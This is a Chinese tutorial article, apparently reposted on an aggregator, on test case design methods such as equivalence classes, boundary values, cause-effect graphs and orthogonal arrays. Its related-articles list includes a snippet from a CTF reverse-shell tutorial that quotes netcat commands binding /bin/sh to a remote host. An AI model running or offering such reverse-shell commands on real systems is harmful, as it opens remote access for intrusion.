测试用例的基本要素与设计方法

 测试用例的基本要素

  测试用例(Test Case)是为了实施测试而向被测试的系统提供的一组集合,这组集合包含:测试环境、操作步骤、测试数据、预期结果等要素。

  好的测试用例是一个不熟悉业务的人也能依据用例来很快的进行测试评价测试用例的标准:

  对比好坏用例的评价标准:

 

 用例表达清楚,无二义性。

  用例可操作性强。

  用例的输入与输出明确。一条用例只有一个预期结果。

  用例的可维护性好。

  用例对需求的覆盖率高。

  测试用例的给我们带来的好处

  ·测试执行者的依据

  · 使得工作可重复,自动化测试的基础

  · 评估需求覆盖率

  · 用例的复用

  · 积累测试的方法思路以供后续借鉴

  测试用例的设计方法

  基于需求进行测试用例的设计

  基于需求设计测试用例是测试设计和开发测试用例的基础,第一步就要分析测试需求,验证需求是否正确、完整、无二义性,并且逻辑自洽。

  在需求正确的基础上细化测试需求,从测试需求提炼出一个个测试点或者测试项,然后根据每一个测试点进行测试用例的设计;

  在分析测试需求时,一般分为功能测试需求和非功能测试需求。

  功能需求测试分析

  对于功能测试中,可以借助功能框图来帮助我们进行测试的需求分析。概括起来,功能测试需求包括以下,通常包括以下几个方面。

  (1)系统各个功能界面的验证

  (2)借助业务把功能串起来进行测试

  (3)功能的一致性,交互性(多功能互操作)的测试

  (4)系统的不同输入,结果输出的业务数据测试。

  (5)功能的错误操作,异常操作的测试(属于负面测试)

  (6)功能实现用到的算法验证,有时需要用运代码评审

  (7)用户操作的易用性,用户体验,往往结合功能测试同时验证

  针对具体的需求,可以根据业务分类,用户角色(餐厅的会员系统)或者用户操作区域等将系统的功能分解成若干个功能模块,然后按照功能模块分别进行测试需求分析。

  按照功能模块划分,业务模块划分是最常见的做法。

  非功能需求测试分析

  非功能测试需求主要涉及性能,安全性,可靠性,兼容性,易维护性和可移植性等。

  从测试需求分析来看,每一类非功能特性测试都需要根据需求单独分析。他们之间可能会存在相互影响,如安全性越高,就越有可能给易用性,性能带来更大的挑战。

  这里要说明的是对于每一个应用软件系统,非功能特性的质量需求都是存在的,但是不同的项目类型对各个非功能特性的要求是不一样的,这个需要根据具体的项目、具体需求和不同产品应用的特点进行分析。

  (1)纯客户端软件,比如字处理软件(Word,PPT),媒体(音频/视频)播放软件(电脑自带的)等。这类软件对系统的功能测试要求是最低的,但是对兼容性和稳定性,可移植性有一定的要求。

  (2)企业内部的客户端/服务端(C/S)应用系统。比如电子邮件,即时通信系统(飞Q,企业QQ)等,在系统功能测试需求上比纯客户端复杂,要求功能正确,稳定性能好。但是整体上看,对性能,安全性,兼容性要求不高。

  (3)外部大型复杂网络应用系统,比如电子商务,网上银行,视频网站(腾讯,优酷)等,除了有复杂的系统的功能测试需求外,在系统的性能,安全性,兼容性,容错性,可靠性等都有很高的要求

  具体的设计方法

  等价类

  依据需求将输入(特殊情况下会考虑输出)划分为若干个等价类,从等价类中选出一个测试用例,如果这个测试用例测试通过,则认为所代表的等价类测试通过,这样就可以用较少的测试用例达到尽量多的功能覆盖,解决了不能穷举测试的问题。

  ·有效等价类:对于程序的规格说明书是合理的、有意义的输入数据构成的集合,利用有效等价类验证程序是否实现了规格说明中所规定的功能和性能

  · 无效等价类:根据需求说明书,不满足需求的集合。

  等价类只考虑输入域的分类,没有考虑输入域的组合,需要其他的设计方法和补充。

  边界值

  边界值分析法就是对输入或输出的边界值进行测试的一种黑盒测试方法。

  通常边界值分析法是作为对等价类划分法的补充,这种情况下,其测试用例来自等价类的边界。

  错误猜测法

  错误猜测法是对被测试软件设计的理解,过往经验以及个人直觉,推测出软件可能存在的缺陷,从而针对性地设计测试用例的方法。

  这个方法强调的是对被测试软件的需求理解以及设计实现的细节把握,还有个人的经验和直觉。

  错误推测法和目前流行的“探索式测试方法”的基本思想一致,这类方法在敏捷开发模式下的投入产出比很高,被广泛应运于测试。

  这个方法的缺点是难以系统化,并且过度依赖个人能力。

  场景设计法

  现在的软件几乎都是用事件触发来控制流程的,事件触发时的情景便形成了场景,而同一事件不同的触发顺序和处理结果就形成事件流。

  该方法可以比较生动地描绘出事件触发时的情景,有利于测试设计者设计测试用例,是测试用例更容易理解和执行。

  典型的应用是是用业务流把各个孤立的功能点串起来,为测试人员建立整体业务感觉,从而避免陷入功能细节忽视业务流程要点的错误倾向

  因果图

  因果图是一种简化了的逻辑图,能直观地表明程序输入条件(原因)和输出动作(结果)之间的相互关系。

  因果图法是借助图形来设计测试用例的一种系统方法,特别适用于被测试程序具有多种输入条件、程序的输出又依赖于输入条件的各种情况。

  学习因果图之前我们首先要了解以下知识:

  · 恒等

  恒等:如果原因为真,那么结果必定为真。

  · 与

 

只有2个原因都为真,那么结果为真。

  · 或

 

  2个原因中有一个为真时,结果就为真。

  · 非

 

  只有原因为假,结果才为真。

  因果图法设计测试用例的步骤如下:

  (1)分析所有可能的输入和可能的输出。

  (2)找出输入与输出之间的对应关系。

  (3)实现判定表。

  (4)把判定表对应到每一个测试用例

  正交排列

  因果法设计用例太多怎么办?

  正交法的目的是为了减少用例数目。用尽量少的用例覆盖输入的两两组合。

  正交试验设计(Orthogonal experimentaldesign)是研究多因素多水平的一种设计方法,它是根据正交性,由试验因素的全部水平组合中挑选出部分有代表性的点进行试验,通过对这部分试验结果的分析了解全面试验的情况,找出最优的水平组合。

  正交试验设计是一种基于正交表的、高效率、快速、经济的试验。

  在学习正交排列时,我们需要先了解以下基础知识

  ·因素(Factor):在一项试验中,凡欲考察的变量称为因素(变量)

  · 水平(位级)(Level):在试验范围内,因素被考察的值称为水平(变量的取值)

  正交表的构成:

  · 行数(Runs):正交表中的行的个数,即试验的次数,用N代表。

  · 因素数(Factors):正交表中列的个数,用C代表。

  · 因素(Factor):在一项试验中,凡欲考察的变量称为因素(变量)

  · 水平(位级)(Level):在试验范围内,因素被考察的值称为水平(变量的取值)

  正交表的构成:

  · 行数(Runs):正交表中的行的个数,即试验的次数,用N代表。

  · 因素数(Factors):正交表中列的个数,用C代表。

  正交法设计测试用例的步骤:

  1、有哪些因素(变量)

  2、每个因素有哪几个水平(变量的取值)

  3、选择一个合适的正交表

  4、把变量的值映射到表中

  5、把每一行的各因素水平的组合作为一个测试用例

  6、加上你认为可疑且没有在表中出现的用例组合

 

感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:

这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!有需要的小伙伴可以点击下方小卡片领取   

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861322.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RT-Thread使用HAL库实现双线程控制LED交替闪烁

如何创建工程我的其他文中你面有可以进去查看 1创建线程(以动态方式实现) 1-2创建函数入口 1-2启动函数 main.c文件源码 /** Copyright (c) 2006-2024, RT-Thread Development Team** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date …

【课程总结】Day11(下):YOLO的入门使用

前言 YOLO的简介 YOLO(You Only Look Once)是一种流行的目标检测算法,由Joseph Redmon等人于2015年提出。YOLO的设计思想是将目标检测任务转化为单个神经网络的回归问题,通过在图像上划分网格并对每个网格预测边界框和类别置信度…

40.连接假死-空闲检测-发送心跳

连接假死情况 1.网络设备出现故障,例如网卡,机房等。底层的TCP连接已经断开,但应用程序没有感知到,仍然占着资源。 2.公网网络不稳定,出现丢包。若果连续出现丢包,这时现象就是客户端数据发不出去,服务端也一直收不到数据,就这么一直耗着。 3.应用程序线程阻塞,无法…

Java初识集合(后续不断补充)

第一次更新时间:2024.6.26 集合概述 Java中的集合就像一个容器,专门用来存储Java对象(实际上是对象的引用,但习惯称为对象),这些对象可以是任意的数据类型,并且长度可变。其中,这些…

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

一文了解自定义表单系统开源的多个优势

降本、提质、增效,是当前很多企业都想实现的目的。什么样的软件可以助力企业创造价值?低代码技术平台是近些年得到了很多客户喜爱的平台产品,因为它能帮助大家减少编程代码的撰写,能轻松助力各部门之间做好协调沟通工作&#xff0…

springcould-config git源情况下报错app仓库找不到

在使用spring config server服务的时候发现在启动之后的一段时间内控制台会抛出异常,spring admin监控爆红,控制台信息如下 --2024-06-26 20:38:59.615 - WARN 2944 --- [oundedElastic-7] o.s.c.c.s.e.JGitEnvironmentRepository : Error occured …

番外篇 | YOLOv8改进之利用轻量化卷积PConv引入全新的结构CSPPC来替换Neck网络中的C2f | 模型轻量化

前言:Hello大家好,我是小哥谈。本文使用轻量化卷积PConv替换Neck中C2f模块中Bottleneck里的传统卷积核得到CSPPC模块,使得模型更加轻量化。🌈 目录 🚀1.基础概念 🚀2.网络结构 🚀3.添加步骤 🚀4.改进方法 🍀🍀步骤1:block.py文件修改 🍀🍀步…

MySQL 8 命令安装卸载教程

一、下载MySQL8 下载连接 MySQL :: Download MySQL Community Server 我下载的是当前最新版8.4 二、安装 1.解压 解压到需要安装的位置,例如我的位置: 2.创建配置文件 新建文本文档,复制下面配置文件(注意修改路经)…

Modbus TCP什么场景用?

什么是Modbus TCP Modbus TCP是一种基于TCP/IP网络的通信协议,它允许不同的设备通过以太网进行数据交换。Modbus协议最初是为串行通信设计的,但随着网络技术的发展,Modbus TCP应运而生,它继承了Modbus RTU和Modbus ASCII的许多优点…

平凉小果子,平凡中的惊艳味道

平凉美食小果子,这看似平凡的名字背后,藏着无数平凉人的美好回忆。它不仅仅是一种食物,更是一种情感的寄托,一种文化的传承。小果子的制作过程看似简单,实则蕴含着深厚的功夫。选用优质的面粉作为主要原料,…

Java学习笔记(多线程):CompetableFuture

本文是自己的学习笔记,主要参考资料如下 https://www.cnblogs.com/dolphin0520/p/3920407.html JavaSE文档 https://blog.csdn.net/ThinkWon/article/details/102508721 1、Overview2、重要参数3、主要方法3.1、创建实例,获取返回值3.2、线程执行顺序相关…

大自然高清风景视频无水印素材在哪下载?下载视频素材网分享

在视频创作领域,一段高清的风景视频可以极大地提升你的作品质感。无论是作为背景、过渡片段还是主要内容,优质的风景视频素材都是必不可少的。然而,寻找既高清又无水印的风景视频素材并非易事。为了帮助大家轻松获取这类素材,我整…

牛客周赛 Round 48 解题报告 | 珂学家

前言 题解 这场感觉有点难,D完全没思路, EF很典,能够学到知识. E我的思路是容斥贡献,F很典,上周考过一次,引入虚拟节点质数(有点像种类并查集类似的技巧). 欢迎关注 珂朵莉 牛客周赛专栏 珂朵莉 牛客小白月赛专栏 …

Marin说PCB之total etch length规则知多少?

魔都上海最近迎来了一轮梅雨季节了,小编我上周就已经提前把被子衣服袜子都晒了一遍,省的后面一段时间下雨就不能晒了。这种阴雨绵绵的天气当然在家里睡觉最舒服了,上周留正当我在家里夏眠的时候,突然被一阵手机铃声吵醒了&#xf…

代码签名证书:保护你的软件,就像保护你的宝贝

Hey,大家好!今天我们来聊聊一个听起来可能有点技术宅,但实际上超级重要的东西——代码签名证书。别担心,我会用最简单易懂的话来解释它,保证你看完这篇文章后,能对代码签名证书有个全新的认识! …

苹果Mac安装adobe软件报错“installer file may be damaged”解决方案

最近Mac电脑系统的有小伙伴在安装PS、AI、AE、PR等软件,出现了一个错误,让人头疼不已,苦苦找寻,也找不到完美的解决方法。让我们来一起看看吧! 很多小伙伴都喜欢苹果电脑,但是在安装外来软件时,…

Java后端 || ElementUI 显示后端树形表格数据

文章目录 1、前端源码2、数据库设计3、后端设计3.1、实体类3.2、Controller层3.3、具体树形列表后端代码实现 1、前端源码 ElementUI Table 链接 在此链接中找到 树形数据与懒加载 查看其JS源码,可知,每个菜单节点的子节点存放于children字段中&#x…

信息学奥赛初赛天天练-36-CSP-J2021阅读程序-ASCII、运算符优先级、二进制补码存储、模拟算法应用

PDF文档公众号回复关键字:20240626 2021 CSP-J 阅读程序2 1 阅读程序(判断题1.5分 选择题3分 共计40分 ) #include<stdio.h> #include<string.h>char base[64]; char table[256]; char str[256]; char ans[256];void init() {for(int i0;i<26;i) base[i]Ai;fo…

MySQL之可扩展性(四)

可扩展性 向外扩展 分片?还是不分片&#xff1f; 这是一个问题&#xff0c;对吧&#xff1f;答案很简单:如非必要&#xff0c;尽量不分片。首先看是否能通过性能调优或者更好的应用或数据库设计来推迟分片。如果能足够长时间地推迟分片&#xff0c;也许可以直接购买更大地服…